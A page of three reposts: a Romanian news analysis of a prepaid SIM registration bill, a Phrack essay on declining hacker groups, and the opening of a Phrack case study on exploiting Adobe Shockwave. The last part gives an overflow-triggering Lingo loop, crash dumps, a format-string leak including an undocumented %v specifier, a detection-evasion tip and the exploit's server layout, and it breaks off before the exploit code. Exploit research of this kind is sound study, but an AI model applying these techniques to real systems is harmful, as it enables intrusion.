  17. ANALIZ?: Deputa?ii discut? miercuri Legea pentru identificarea celor care cump?r? cartele pre-pay de Andi Manciu - Mediafax Deputa?ii din Comisia de tehnologia informa?iei ?i din Comisia juridic? discut? în aceast? s?pt?mân? legea ini?iat? de Guvern care permite identificarea celor care cump?r? cartele pre-pay, ace?tia reprezentând peste 60% din utilizatorii de telefonie mobil? sau a celor care folosesc re?ele wireless. Ini?iativa Guvernului prin care utilizatorii de cartele telefonice prepay sunt obliga?i s?-?i declare datele personale la momentul achizi?ion?rii acestora a intrat în procedur? de urgen?? în dezbaterea Camerei Deputa?ilor, for decizional. Actul normativ, care a fost adoptat deja de Senat, ar urma s? intre în vigoare de la 1 ianuarie 2015. Pre?edintele Comisiei pentru tehnologia informa?iei, deputatul Daniel Oajdea, a declarat pentru MEDIAFAX c? proiectul de lege va fi discutat miercuri în forul pe care îl conduce, fiind invita?i atât reprezentan?i ai SRI, cât ?i ai societ??ii civile. Totodat?, actul normativ trebuie s? intre, în paralel, ?i în dezbaterea Comisiei juridice. Cele dou? comisii de specialitate ar fi trebuit s? finalizeze discu?iile asupra proiectului la 5 iunie ?i s? înainteze plenului un raport comun. "Proiectul con?ine anumite erori care trebuie, dup? p?rerea mea, corectate. Cred c? e interesul tuturor ca în final s? avem un proiect de lege cât mai bun ?i care s? r?spund? într-adev?r solicit?rilor ?i nu un proiect pe care s?-l tot modific?m", a afirmat Oajdea. El a precizat c?, pe lâng? înregistrarea datelor utilizatorilor de cartele prepay, mai exist? o problem? în cazul celor care utilizeaz? re?ele de internet wireless, în cazul c?rora proiectul de lege instituie obligativitatea identific?rii. Expunerea de motive a Guvernului precizeaz? c? în prezent pia?a de telefonie mobil? este dominat? de cartelele prepay, care reprezint? 67% din num?rul total de utilizatori ai serviciilor de comunica?ii mobile. Executivul sus?ine c? ar exista o discriminare între consumatorii de servicii care sunt abona?i ?i cei care folosesc cartele prepay, deoarece sunt re?inute datele cu caracter personal doar ale celor dintâi. De asemenea, în ceea ce prive?te impactul social al modific?rilor legislative, Guvernul precizeaz?: "Aplicarea actului normativ va asigura un climat de normalitate ?i siguran?? civic?, prin prevenirea criminalit??ii, inclusiv a formelor sale grave ori cu caracter transfrontalier, precum ?i a actelor de terorism. Se asigur? astfel protec?ia popula?iei, a bunurilor materiale ?i valorilor, într-o abordare european?, dar ?inând cont de particularit??ile na?ionale". Consiliul Legislativ a emis un aviz pozitiv asupra proiectului Guvernului, îns? a semnalat faptul c? argumentele invocate pentru adoptarea modific?rilor legislative nu sunt unele solide. Astfel, Guvernul a sus?inut c? este dificil? identificarea utilizatorilor de cartele prepl?tite în cazul desf??ur?rii cercet?rii penale sau prevenirea amenin??rilor la adresa securit??ii na?ionale. Consiliul Legislativ spune c? acest argument nu se poate aplica în totalitate cât? vreme legea se aplic? doar persoanelor fizice ?i juridice din România. "Cartele de telefonie prepl?tite pot fi achizi?ionate ?i în alte state unde nu exist? obligativitatea identific?rii utilizatorului, iar posesorii lor pot intra pe teritoriul României ?i pot folosi aceste cartele prin activarea serviciului de roaming, ceea ce face ca eficacitatea prezentelor norme s? se reduc?", se arat? în avizul Consiliului Legislativ. De asemenea, documentul precizeac? c? "la nivelul Uniunii Europene nu exist? un act normativ de natur? s? oblige statele membre s? identifice utilizatorii cartelelor de telefonie prepl?tite". CL citeaz? dintr-un raport întocmit de Comisia European? conform c?ruia doar ?ase state membre ale UE (Danemarca, Spania, Italia, Grecia, Slovacia ?i Bulgaria) au adoptat m?suri pentru înregistrarea cartelelor SIM prepl?tite, în timp ce Polonia, Cipru ?i Lituania au sus?inut ideea adopt?rii unor m?suri la nivelul UE în acest sens. Raportul CE, citat de Consiliul Legislativ, precizeaz?: "Eficacitatea acestor m?suri na?ionale nu a fost dovedit?". În plus, Consiliul Legislativ atrage aten?ia asupra unor defini?ii stabilite de proiectul Guvernului care ar putea determina declararea acestora ca neconstitu?ionale din cauza aspectului prea general al acestora. Avizul CL face referire la sintagma "date privind identificarea consumatorilor", care nu detaliaz? care categorii de date urmeaz? a fi re?inute, problem? semnalat? de Curtea Constitu?ional? în 2009 asupra unui text similar. "Lipsa unei reglement?ri legale precise, care s? determine cu exactitate sfera acelor date necesare identific?rii persoanelor fizice sau juridice ultilizatoare, deschide posibilitatea unor abuzuri în activitatea de re?inere, prelucrare ?i utilizare a datelor stocate de furnizorii serviciilor de comunica?ii electronice destinate publicului sau de re?ele publice de comunica?ii", se arat? în decizia CC din 2009. Chiar dac? din partea Consiliului Legislativ au existat observa?ii pentru amendarea proiectului de lege al Guvernului, în Senat, acesta a fost aprobat pe 2 iunie f?r? vreo modificare, preferându-se men?inerea formei ini?iate de Executiv. Proiectul a fost adoptat cu 76 de voturi "pentru", 9 "împotriv?" ?i 3 ab?ineri, majoritatea senatorilor PSD fiind în favoarea acestuia, împreun? cu to?i senatorii PDL ?i UDMR. Acest act normativ este strâns legat de o alt? lege aflat? în vigoare, Legea Big Brother (Legea 82/2012), care venea s? transpun? în legisla?ia na?ional? o directiv? european? emis? în 2006, dup? atentatele teroriste de la Londra ?i Madrid. Aceast? lege precizeaz? c? datele utilizatorilor de comunica?ii electronice, cum este cazul internetului sau telefoniei mobile, sunt re?inute de operatori pentru ?ase luni. Aceste date re?inute nu vizeaz?, îns?, con?inutul convorbirilor purtate prin mijloace electronice. Mecanismul ofer?, în schimb, posibilitatea organelor de urm?rire penal? de a solicita aceste date de la operatorii serviciilor de comunica?ii electronice. Între timp, directiva european? (2006/24/EC) în baza c?reia a fost promovat? în România Legea Big Brother a fost respins? de Curtea European? de Justi?ie pentru motivul c? ar reprezenta o imixtiune grav? în drepturile fundamentale privind respectarea vie?ii private ?i protectia datelor cu caracter personal. Acest lucru a determinat 40 de parlamentari ai PNL s? semneze o propunere legislativ? promovat? de deputatul Alina Gorghiu pentru abrogarea Legii Big Brother. Ini?iativa lui Gorghiu se afl? în procesul legislativ, urmând a fi discutat? în Senat. De asemenea, în strâns? leg?tur? cu Legea Big Brother se afl? ?i Legea siguran?ei na?ionale, care a fost modificat? anul trecut în Parlament ?i a intrat în vigoare la 1 februarie anul acesta. Astfel, actul normativ a fost completat cu posibilitatea de a accesa astfel de date, cu excep?ia con?inutului comunica?iilor, f?r? autoriza?ie prealabil? din partea judec?torilor. Autorizarea judec?torului se aplic? doar în cazul mandatului de interceptare a comunica?iilor. Astfel, abrogarea Legii Big Brother ar afecta prevederi ale Legii siguran?ei na?ionale. În schimb, promovarea proiectului Guvernului privind identificarea utilizatorilor de cartele prepay ar facilita activitatea serviciilor de informa?ii ?i a organelor de cercetare penal?. Sursa: ANALIZ?: Deputa?ii discut? miercuri Legea pentru identificarea celor care cump?r? cartele pre-pay - Mediafax
  18. The Fall of Hacker Groups |=-----------------------------------------------------------------------=| |=--------------------=[ The Fall of Hacker Groups ]=--------------------=| |=-----------------------------------------------------------------------=| |=--------------=[ Strauss <strauss@REMOVEME.phrack.org> ]=--------------=| |=-----------------------------------------------------------------------=| --[ Contents 1 - Introduction 2 - Background 3 - Nowadays 4 - Conclusion 5 - Shouts 6 - Bibliography 7 - Notes --[ 1 - Introduction The earlier, bigger part of hacking history often had congregations as protagonists. From CCC in the early 80s to TESO in the 2000s, through LoD, MoD, cDc, L0pht, and the many other sung and unsung teams of hacker heroes, our culture was created, shaped, and immortalized by their articles, tools, and actions. This article discusses why recently we do not see many hacker groups anymore, and why the ones we do, such as Anonymous and its satellite efforts, do not succeed in having the same cultural impact as their forefathers. --[ 2 - Background Hacking is, in its very essence, an underground movement. Those who take part on it have always been the ones who (ab)used technology in ways beyond the knowledge of the larger userbase. It is tightly linked to intense efforts in unveiling previously unknown information as well as in sharing these discoveries. These premises hold true for as long as we know hackers: since computers had barely no users up until the informatic massification of today. The nature of the hacker interests intrinsically poses difficulties: growing knowledge on anything is hard. It requires heavy research, experimentation, and can turn into an endless journey if objectives are not carefully set. Just like in any field of scientific studies, it calls for a good amount of colaboration, an attitude which, luckily for hackers, was greatly enabled by the advent of computer networks and, most notably, the Internet. Computer networks increasingly made it possible to transmit unlimited and uncensored information across their geographical extent with little effort, with little costs, and in virtually no time. From the communication development standpoint, one would expect that the events that followed the 80s to our days would lead to a geometric progression in the number of hacker communities. In effect, hacking has arguably grown. Hacker communities, definitely not. So what went wrong? --[ 3 - Nowadays We live in days of limited creativity. Moreover, as contraditory as it may seem, it looks particularly rare for creativity to arise from groups or teams. Communities, rather than individuals, should be more intellectually empowered to create, but lately we have been watching the force of the solo, the age of the ego. That, of course, when we do see anything that catches our attention for originality, which is an ever scarcer pleasure. In "Time Wars" [1], Mark Fisher explains that post-fordism has taken us to this catatonic inability to innovate. Our nearly obsessive compulsion for work consumes not only our time, in the literal form of labor hours, but our minds, by distracting us from everything else we could be doing otherwise. These distractions include our unceasing connection to ubiquous media (e.g. the frequent checks for new e-mail, or accesses to social networks on mobile devices) as well as an increased concern with financial stability and provisioning, a concern that grows as welfare is invariably trimmed by both the governments and the private sector. It is important to note that our capitalist worries are more deeply rooted in us than might seem at first, even in the most politically diverse people. Supporting oneself is not easy, it does not come for free. Getting some education, finding a job, staying up-to-date... regardless of what your aspirations are, whatever you feel obliged to do is probably a lot, already. And it likely involves a prevalence of "minding your own business". The unsettlement created in our thoughts affects intellectual solidarity in even more severe ways than it does individual creation. Simply put, if it is already so difficult for one person to focus away from these "distractions" and into inspired productivity, let alone for a group to join in a true collective mind. The ties that bind collective-minded parties together take dedication to build, and our egotistical concerns do not help (see note "A"). Not only is commitment required for the actual work to be accomplished, but also to identify the shared values and goals that enable true human connectivity. Notice this does not concern _collaboration_ as much as it does _collectiveness_. Collaboration typically breaks down the creative process in a way it can be incrementally achieved with very self-sufficient, individualistic contributions. Such is the case in most open-source software projects. Roles are very well segregated so that a minimum of human integration is required, as far as most modern software development processes go, anyway. A true "hive mind" [2] cannot exist without the support from a stronger, more unisonant cognitive bond. Funny enough, the popular variants of LOIC, the DDoS tool used by "Anonymous", contain a "hive mind" feature (i.e. getting a target automatically from a given IRC server and channel and firing your packets against it). You wish it was that easy. The concept of the "conscience collective" was first established by Emile Durkheim who, in his 1893 book "The Division of Labor in Society", expressed 'that the more primitive societies are, the more resemblances (particularly as reflected in primitive religion) there are among the individuals who compose them; inversely, the more civilized a people, the more easily distinguishable its individual members', as put by R. Alun Jones [3]. Well, following (or despite) the prosperous adoption of atheism and agnosticism as professed in the Internet and other popular media, it is understood that religious beliefs are in a low, taking a bit of what socities traditionally saw as a point of unity. In fact, there seems to be an ever growing search for uniqueness in the modern man, especially that from the apparently overpopulated metropolises (see note "B"). In this never-ending crowd of interesting, outstanding personas, we want to shine somehow, to prove ourselves different and original. In the end, it turns into a pointless battle, against God-knows-who, for apparent singularity. Instead of reaching for the fellow man, we want to set ourselves apart, and thus, remarkable. --[ 4 - Conclusion Modern life nearly conspires against the collective. We are tormented by a relentless flow of information as well as the daily worries of an eternally insecure, unwarranted life. Furthermore, we dread the thought of being alike, of sharing multiple views and opinions. As such, we are turning progressively judgemental of who we should be partnering with, on the basis that "they do not understand". In hacking, it yet implicates on the delicate subject of trust, which would require an essay on itself, given the undeniable importance the matter has acquired over the years. If our thoughts on creating hacker groups were to be summarized, this is how they would look: No one ever feels like we do. They are not to be trusted and we do not have the time for them. The only attitude consonant to our search for a comfortable, safe life is to constrain ourselves to our own limitations, ignore the intelligent life out there, and surrender to the mediocracy that our society has condemned our leisure time to. --[ 5 - Shouts My only acknowledgements go to whoever reads this through and puts his/her thoughts to it. I eagerly await for your comments. --[ 6 - Bibliography 1 - "Time Wars", Mark Fisher - http://www.gonzocircus.com/xtrpgs/ incubate-special-exclusive-essay-time-wars-by-mark-fisher/ 2 - "Collective Consciousness", Wikipedia - http://en.wikipedia.org/wiki/Collective_consciousness 3 - Excerpt of "Emile Durkheim: An Introduction to Four Major Works", Robert Alun Jones - http://durkheim.uchicago.edu/Summaries/dl.html --[ 7 - Notes A) In respect to social networks, while they are a valid community-building mechanism in nature, selfishness prevails in common usage, by means of the indulgent pleasure that fuels chronic "pluggedness", at times voyeur, at times exhibitionist and needy. It is arguably the case, though, that the globalizing aspect of the Internet has brought the feeling of upsetting commonality to the citizens of even the more unpopulated places. Sursa: http://phrack.org/papers/fall_of_groups.html
  19. Title : Adobe Shockwave - A case study on memory disclosure Author : aaron portnoy Date : May 28, 2014 |=-----------------------------------------------------------------------=| |=---------------=[ The Art of Exploitation ]=---------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ Adobe Shockwave ]=------------------------=| |=----------------=[ A case study on memory disclosure ]=----------------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ aaron portnoy ]=--------------------------=| |=-------------------=[ deft_phrack at thunkers.net ]=-------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 1 - Introduction 2 - Shockwave Overview 2.1 - Deployment Notes 2.2 - Supported File Formats 2.3 - Creating Director Files 2.4 - Relevant Shockwave Modules 2.5 - The Lingo Scripting Language 3 - Vulnerability Discovery 3.2 - Stack-based Buffer Overflow 3.3 - Stack-based Memory Disclosure 3.3.1 - Undocumented Format Specifier 4 - Exploit Delivery 4.1 - Server-side Architecture 4.1.1 - web.py 4.1.2 - lighttpd 4.2 - The HTML 4.3 - The Javascript 4.4 - The Lingo 4.5 - The Python 5 - Vulnerability Exploitation 5.1 - Windows XP SP3 / Firefox / Shockwave 11.6.5.635 5.2 - Windows XP SP3 / Firefox / Shockwave 11.6.8.638 5.3 - Windows 7 x64 / Firefox / Shockwave 12.0.0.112 5.4 - Windows 7 x64 / Firefox / Shockwave 12.0.0.112 / EMET 5.0 5.4.1 - Relevant 'EMET 5.0' Mitigations 5.5 - Windows 8 x64 / Firefox / Shockwave 12.0.0.112 / EMET 5.0 5.5.1 - Relevant 'EMET 5.0 Tech Preview' Mitigations 6 - Future Work 7 - Conclusion 8 - Greets 9 - References 10 - Exploit --[ 1 - Introduction These days, proper exploit development on the latest and greatest operating systems is a time-consuming task. It doesn't help matters that the availability of public resources to help individuals research techniques to achieve such ends are becoming scarce. There are many reasons why this is now the case. Mainly, techniques to bypass security mitigations have become a valuable commodity to various entities and as such are no longer released as often for public dissemination or to further one's reputation. I was lucky enough to get started in this field when there were resources like Gera's insecure programming challenges [1], 29A [2], Uninformed [3], and of course Phrack to inspire me. I've tried to imagine what it would be like to be a newcomer in current times and it's a bit depressing that most (not all) of the material that is actually published is done so with an unhealthy bit of rodomontade and ulterior motives. Generally, the output lacks details that are most facilitating to an aspiring researcher--the approaches to the problem (including the failures) that so define how a so-called hacker really thinks. This article is intended to give the reader insight into an approach to the vulnerability discovery and exploitation process. By no means should the take- away from this be that mitigations are broken or easily defeated, but rather it serves as a case study demonstrating real-world vulnerabilities and the process by which I was able to achieve successful code execution in spite of various mitigations that have hitherto not been bypassed publicly. What follows is walk through of the discovery and exploitation of a memory disclosure vulnerability and a stack-based buffer overflow that together can be abused to bypass stack cookies (/GS), SafeSEH (/SAFESEH), full process Address Space Layout Randomization (ASLR, /DYNAMICBASE), Data Execution Prevention (DEP), Structured Exception Handler Overwrite Protection (SEHOP), and the Enhanced Mitigation Experience Toolkit (EMET) to gain reliable code execution against a multitude of platforms, but with a focus on Windows 8 x64. The bugs discussed herein were discovered by myself and where applicable I will try to cite dates to help the reader understand the time invested to create the end result. Hopefully there's something in here that you're able to take away and I'd like to imagine one day you'll also share something with those who come after you. --[ 2 - Shockwave Overview The vulnerabilities I'll be discussing are in Adobe's Shockwave Player [4], a closed-source application used for viewing Adobe Director media files within a browser. The player can be installed on Windows and Mac OS operating systems and is deployed on over 450 million desktops according to Adobe [5]. Shockwave is often confused with Flash due to Flash's misleading MIME type of 'application/x-shockwave-flash'. This is not the case, however, and the technologies are entirely independent of each other (for the record, Shockwave's MIME type is 'application/x-director'). ----[ 2.1 - Deployment Notes The Shockwave Player is invoked differently depending on which browser/OS you're running. For example, in the case of Internet Explorer the Shockwave ActiveX control is instantiated and the Adobe modules are loaded into the iexplore.exe process space. However, in the case of Firefox, plugins are loaded via NPAPI [6] and occupy a new child process called plugin-container.exe. By default, if a user visits the Shockwave installer site, they are served up the "slim" version of the installer. The difference between the slim and the full is that the slim does not contain all the functionality for various media types (instead they are downloaded when the Player tries to render a media file with such content). It should also be noted that the code is distributed as a 32-bit build, even if deployed on a 64-bit operating system. ----[ 2.2 - Supported File Formats Shockwave is used to render Adobe Director files. These come in three forms: - .dir is an uncompressed Director file - .dcr is Director file compressed in various locations using zlib - .dxr is a non-editable Director file Each of these are undocumented but are based off of the RIFF file format (except that their data is stored in big endian as denoted by the file magic value of 'RIFX'). For example, a partial hex dump of a .dir file: Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F --------------------------------------------------------------------------- 00000000 58 46 49 52 78 62 05 00 33 39 56 4D 70 61 6D 69 XFIRxb..39VMpami 00000010 18 00 00 00 01 00 00 00 26 8B 00 00 82 07 00 00 ........&`..`... 00000020 00 00 00 00 00 00 00 00 00 00 00 00 2A 59 45 4B ............*YEK 00000030 74 01 00 00 0C 00 0C 00 1E 00 00 00 17 00 00 00 t............... 00000040 3E 00 00 00 04 00 00 00 6D 75 68 54 0D 00 00 00 >.......muhT.... 00000050 04 00 00 00 44 45 4D 58 2B 00 00 00 4B 00 00 00 ....DEMX+...K... 00000060 6D 75 68 54 6D 00 00 00 4B 00 00 00 44 45 4D 58 muhTm...K...DEMX ... The .DCR format is useful for bypassing network detection, as no device/software I am aware of currently knows how to decompress this proprietary format. ----[ 2.3 - Creating Director Files Director files are created in, appropriately, Adobe Director [7]. The interface is very similar to Flash Studio in that there are frames, a movie object, a stage, cast members, sprites, and script objects. One quirk worth mentioning is that by default, when 'playing' a file within Director it uses an older version of the Shockwave libraries (not the ones in the player's default directory). I'm guessing that this might not be the case if you're using the latest Director (version 12), but as I was using warez, well, ... you get it. This can impact your exploit development so ensure you test outside Director as well (or overwrite the appropriate modules with newer versions). ----[ 2.4 - Relevant Shockwave Modules There are two main modules that Shockwave uses to handle parsing and rendering of DIR files: DIRAPI.dll and IML32.dll. I did a bit of research on these back in 2011 [8]. Shockwave uses a custom memory manager called Smartheap [9], but that isn't really of much interest with regard to the vulnerabilities described in this article. In addition to those two modules, there are also a number of "Xtras". These files have .x32 extensions but are simply DLL files. They provide added functionality for things like embedded media (Quicktime, Flash, 3D objects, fonts, audio, and so on). ----[ 2.5 - The Lingo Scripting Language Shockwave files have support for a built-in scripting language called Lingo which was created in the 1990s and, according to the inventor John Thompson, was his "...most significant contribution to the computer industry to date" [10]. Lingo enables a Director developer to interact with multimedia elements and the user. Its intended functionality is very similar to its Adobe Flash counterpart, Actionscript. Its syntax, however, is a bit different. There is an API reference available on Adobe's site [11] that covers mostly everything you'd need to know about it. We'll soon see that Lingo can provide an attacker with a wealth of information to aid in the exploitation process. --[ 3 - Vulnerability Discovery I had previously spent a good amount of time bug hunting in Shockwave for a presentation at CanSecWest and had unearthed a few file format vulnerabilities. The problem with those, however, is that anybody with the ability to bit-flip a file can also stumble upon them trivially. So, this time around I decided to see what I could find in Lingo. One of the most tedious aspects of bug hunting is figuring out the best way to generate input to properly cover as much of the attack surface as possible. My first attempt at this was to don my hipster jeans and learn to develop Director movies legitimately. I tried to embed as much content as possible and ensured in a debugger that the appropriate Xtras were being loaded into the process. The hardest part was learning how to properly access the objects via Lingo and interact with them in the hopes of causing a fault. After exhausting as many Lingo methods as I could manage to invoke (it's a long list, check out: http://help.adobe.com/en_US/Director/11.5/UsingScripting /WSc3ff6d0ea77859461172e0811d64c1a1b3-7ff4.html) I sat back and considered what to do next. Following reflection upon my prior attempts, I realized that the one subset of the available Lingo methods that I was unable to invoke were related to the 3D API. As it turns out, I was unable to call Lingo's 3D methods because I could not embed a proper 3D object and initialize the environment as was required. I decided the best approach was to find an existing Director file that already had 3D objects and associated Lingo code in it. After searching a while I found that Director itself comes with some tutorial files that fit the need. In the %ProgramFiles%\Adobe\Adobe Director 11\Configuration\Tutorials\3D folder are the .dir files I was hoping to find. Once they were loaded into Director I found the Lingo scripts I could simply modify to invoke the methods I had previously overlooked. ----[ 3.2 - Stack-based Buffer Overflow The first vulnerability I discovered was a stack-based buffer overflow that could be reached via two different Lingo methods (they hit the same vulnerable code, so I consider them the same bug). The vulnerable methods were: - physicsWorld.loadProxyTemplate(string proxyname, 3dmember) - world.createRigidBody(string rigidbodyname, string 3Dmodelname, symbolBodyProxy, symbol bodyType, symbol flipNormals) When provided with a large enough string as the first parameter to either of these a buffer on the stack can be overflowed. In order to craft a large string in Lingo, you can use their equivalent of a for loop: buf = "" repeat with i = 0 to 10000 buf = buf & "$" end repeat Depending on how much data is provided, the fault that the debugger catches may differ. Here's one such crash: (63c.410): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=37734236 ebx=02f6bd10 ecx=00000000 edx=03790404 esi=000033a7 edi=02f6c248 eip=6fde9d0a esp=02f6b7ec ebp=02f6b7ec iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 IML32!Ordinal1115+0xa: 6fde9d0a 81780454534146 cmp dword ptr [eax+4],46415354h ds:002b:3773423a OK, from the faulting instruction alone there is not much to deduce. The call stack tells us a bit more: 0:005> kv ChildEBP RetAddr Args to Child 02f6b7ec 6f2277b8 37734236 02f6b810 6f2283b1 IML32!Ordinal1115+0xa 02f6b7f8 6f2283b1 02f6c248 06cf7024 00000000 DIRAPI+0x377b8 02f6b810 6f23a8ea 06cf7024 000033a7 02f6bd10 DIRAPI+0x383b1 02f6b82c 6f35ec15 06cf7024 02f6c248 02f6bd10 DIRAPI+0x4a8ea 02f6b848 6e73250b 06ced4bc 02f6c248 02f6bd10 DIRAPI+0x16ec15 02f6c114 42346942 69423569 37694236 42386942 Dynamiks+0x335e 02f6c118 69423569 37694236 42386942 6a423969 0x42346942 02f6c11c 37694236 42386942 6a423969 316a4230 0x69423569 02f6c120 42386942 6a423969 316a4230 42326a42 0x37694236 02f6c124 6a423969 316a4230 42326a42 6a42336a 0x42386942 02f6c128 316a4230 42326a42 6a42336a 356a4234 0x6a423969 02f6c12c 42326a42 6a42336a 356a4234 42366a42 0x316a4230 <snip> The first thing that jumps out here is that there are what appear to be 5 fully intact frames before the stack is smashed. That tells us that the destination buffer likely originates in the Dynamiks module. We can also see that there are two stack pointers passed as arguments from Dynamiks. Inspecting these we can see which was the destination buffer (we could also deduce this from the frame pointers we see in the call stack... i.e. it's unlikely to be 0x02f6c248 because the corruption began lower on the stack): 0:005> dc 02f6c248 L8 02f6c248 73423573 37734236 42387342 74423973 s5Bs6Bs7Bs8Bs9Bt 02f6c258 31744230 42327442 74423374 35744234 0Bt1Bt2Bt3Bt4Bt5 0:005> dc 02f6bd10 L8 02f6bd10 41306141 61413161 33614132 41346141 Aa0Aa1Aa2Aa3Aa4A <- beginning 02f6bd20 61413561 37614136 41386141 62413961 a5Aa6Aa7Aa8Aa9Ab of our buf So, the stack buffer begins at 0x02f6bd10 and was passed from the Dynamiks module into DIRAPI as argument 3. This can be seen by disassembling the Dynamiks module and checking out the code before offset 0x335e: (Dynamiks.x32: md5sum c6a9a75deb3da27682c267a7a2507e16, checksum 2a30eb, Shockwave version 12.0.0.112) 0:005> ub Dynamiks+0x335e L6 Dynamiks+0x334f: 709e334f 8d8dfcfbffff lea ecx,[ebp-404h] <--- vulnerable buffer 709e3355 51 push ecx <-------------- passed as third argument 709e3356 8d4f08 lea ecx,[edi+8] 709e3359 51 push ecx 709e335a 50 push eax 709e335b ff5244 call dword ptr [edx+44h] In a real disassembler (IDA Pro) we can see how large that local variable is by checking out the function's stack: -00000404 var_404 db 1024 dup(?) <--- vuln buffer, 1024 bytes -00000004 var_4 dd ? +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 arg_0 dd ? +0000000C arg_4 dd ? +00000010 arg_8 dd ? +00000014 arg_C dd ? +00000018 arg_10 dd ? Any string over 1024 bytes in size will corrupt var_4. Any guess as to what var_4 is? Yep... say hello to the /GS mitigation: (Dynamiks.x32: base address 0x10000000) .text:100018A8 mov eax, ___security_cookie .text:100018AD xor eax, ebp .text:100018AF mov [ebp+var_4], eax For those of you not familiar with /GS [12] it is a compiler option that is on by default in any recent version of Visual Studio. It works by ... well, skape said it much better than I in his Uninformed [13] article when describing stack cookie initialization: "At a high-level, this routine will take an XOR'd combination of the current system time, process identifier, thread identifier, tick count, and performance counter. The end result of XOR'ing these values together is what ends up being the image file's security cookie." The result of those operations is a 4-byte value that gets generated when the module is loaded and then stored in its .data section. Any function the compiler deems in need of some extra protection takes that value and XORs it again with the current frame pointer (@ebp). It then stores it on the stack as the first local variable. Upon function exit, the process checks if it has been tampered with and, if so, throws an exception which usually results in process termination. Had we not caused an exception in IML32.dll the code would still return back to the Dynamiks module and upon function exit (provided it doesn't access any other invalid data long the way), the stack cookie check would fail and the process would throw an exception and probably exit. Either way, this is an obstacle we'll need to bypass. We'll get back to this in a bit. ----[ 3.3 - Stack-based Memory Disclosure In the course of testing the 3D Lingo methods, I was using a string consisting of a large amount of the "%x" characters. I was lucky enough to also be outputting objects to the Messages window via Lingo's trace() function. In a few cases I saw some very interesting output, such as the following: model("d03e682631e7c647ae08432631e18680fb8a9d03e6830680276b012d450d03e6869080 b8e56b7420100c17eb9069056cd56908db3811038") That was certainly not the name I gave that object when I called newModel()... Separating those %x values by spaces yielded: model("d03e68 6317e44 5ffad60 43 6317dcc 680fb8a9 d03e68 42 680276b0 12d450 d03e68 69080b00 5711164 100c 17eb90 69056cd5 6908db38 1 1038") At this point I was testing all of this on Windows XP and thus there was no Address Space Layout Randomization to worry about. With that in mind, I'll tell you that DIRAPI.dll has a preferred base address of 0x68000000 and IML32.dll of 0x69000000. Looking at the output from the trace() call we can clearly see that we're dealing with a format string vulnerability and for each %x we provide, we're returned a 32 bit value off the stack. As the code path to reach this vulnerability is deterministic, it can be verified that the code pointers will always be the same on a non-ASLR'd system. Thus, we can disclose the base addresses of at least two modules as well as what look to be heap and stack pointers. We can verify the addresses in a debugger: 0:008> !address 0xd03e68 00c60000 : 00c60000 - 00101000 Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageHeap Handle 00150000 0:008> !heap -p -a 0xd03e68 address 00d03e68 found in _HEAP @ 150000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 00c60018 20000 0000 [0b] 00c60020 100000 - (busy VirtualAlloc) ? <Unloaded_ame.dll>+ffff7 0:008> !address 6317e44 06010000 : 06314000 - 0005b000 Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageHeap Handle 00150000 0:008> !address 5ffad60 05f00000 : 05f00000 - 00101000 Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageHeap Handle 00150000 0:008> !address 12d450 00030000 : 0011e000 - 00012000 Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageStack Pid.Tid d1c.89c 0:008> !address 69080b00 69000000 : 69001000 - 0008c000 Type 01000000 MEM_IMAGE Protect 00000020 PAGE_EXECUTE_READ State 00001000 MEM_COMMIT Usage RegionUsageImage FullPath <snip>IML32.dll 0:008> ub 69056cd5 L1 IML32!Ordinal1754+0x12b3: 69056cd3 ffd5 call ebp One thing worth pointing out there is that the heap pointers originate from an allocation of size 0x100000. This is due to the Smartheap slicing out allocations from its own arena of that size. Anyway, the take-away here is that I was able to leak an address from the stack, two from the heap, and one from a module (IML32.dll). ------[ 3.3.1 - Undocumented Format Specifier During my initial attempt at exploitation of these issues, I was having trouble locating a reliable stack pivot within the one module I was able to leak an address from (IML32.dll). After struggling with that problem for about one week, I went back and began reverse engineering the root cause of the memory disclosure and came across some undocumented functionality in Lingo. When provided with a "%v" format specifier, the code within DIRAPI.dll replaces it with <%d %p>: (DIRAPI.dll: base address 0x68000000, md5sum fb5405cef8b2d6273c593477392cbc88, checksum 1c266b, Shockwave version 12.0.0.112) .text:68039FF2 case__v: .text:68039FF2 .text:68039FF2 add edi, 4 ; jumptable 68039EC7 case 35 .text:68039FF5 mov [ebp+var_814], edi .text:68039FFB mov edi, [edi] .text:68039FFD lea esi, [ebp+var_810] .text:6803A003 mov byte ptr [ebp+var_404], 0 .text:6803A00A call sub_68039CA0 .text:6803A00F test eax, eax .text:6803A011 jz loc_6803A0EA .text:6803A017 mov eax, [ebp+arg_8] .text:6803A01A mov ecx, [ebp+var_824] .text:6803A020 mov edx, [ebp+var_828] .text:6803A026 push eax .text:6803A027 push ecx .text:6803A028 push edi .text:6803A029 push edx .text:6803A02A call sub_68030DB0 ; replaces %v with <%d %p> and .text:6803A02A re-enters this func By placing %v characters at specific locations in the input string I was able to force a dereference of one of the stack values and retrieve two 32-bit integers from there, which yielded me an additional address within a module. Specifically, I was able to leak an address within the "Shockwave 3d Asset.x32" module which, it turned out, had a quite useful code primitive I abused for a stack pivot. --[ 4 - Exploit Delivery The exploits discussed herein were progressively developed, with differing approaches as obstacles were encountered. I've included explanations of all of them to allow the reader to gain some insight into the process rather than just delivering an explanation of what came to be the best solution. In fact, the attached exploit code has not been "cleaned up", instead it contains all the artifacts of a work-in-progress leading up to the final solution. ----[ 4.1 - Server-side Architecture As some of the exploits have different required architecture, I will cover all the components I utilized throughout the exploitation process. ------[ 4.1.1 - web.py I used web.py[14] to serve the following: * HTML pages that embedded the .dir files * Director files * A payload in one of the exploits The included exploit has the following directory structure: ./ | craft_exploit.py | main.py | |---web | (web.py library code) | '---www |---dirs | input.dir | mem_disc.dir | output.dir | |---html | exploit.html | index.html | '---payload runcalc.dll It is 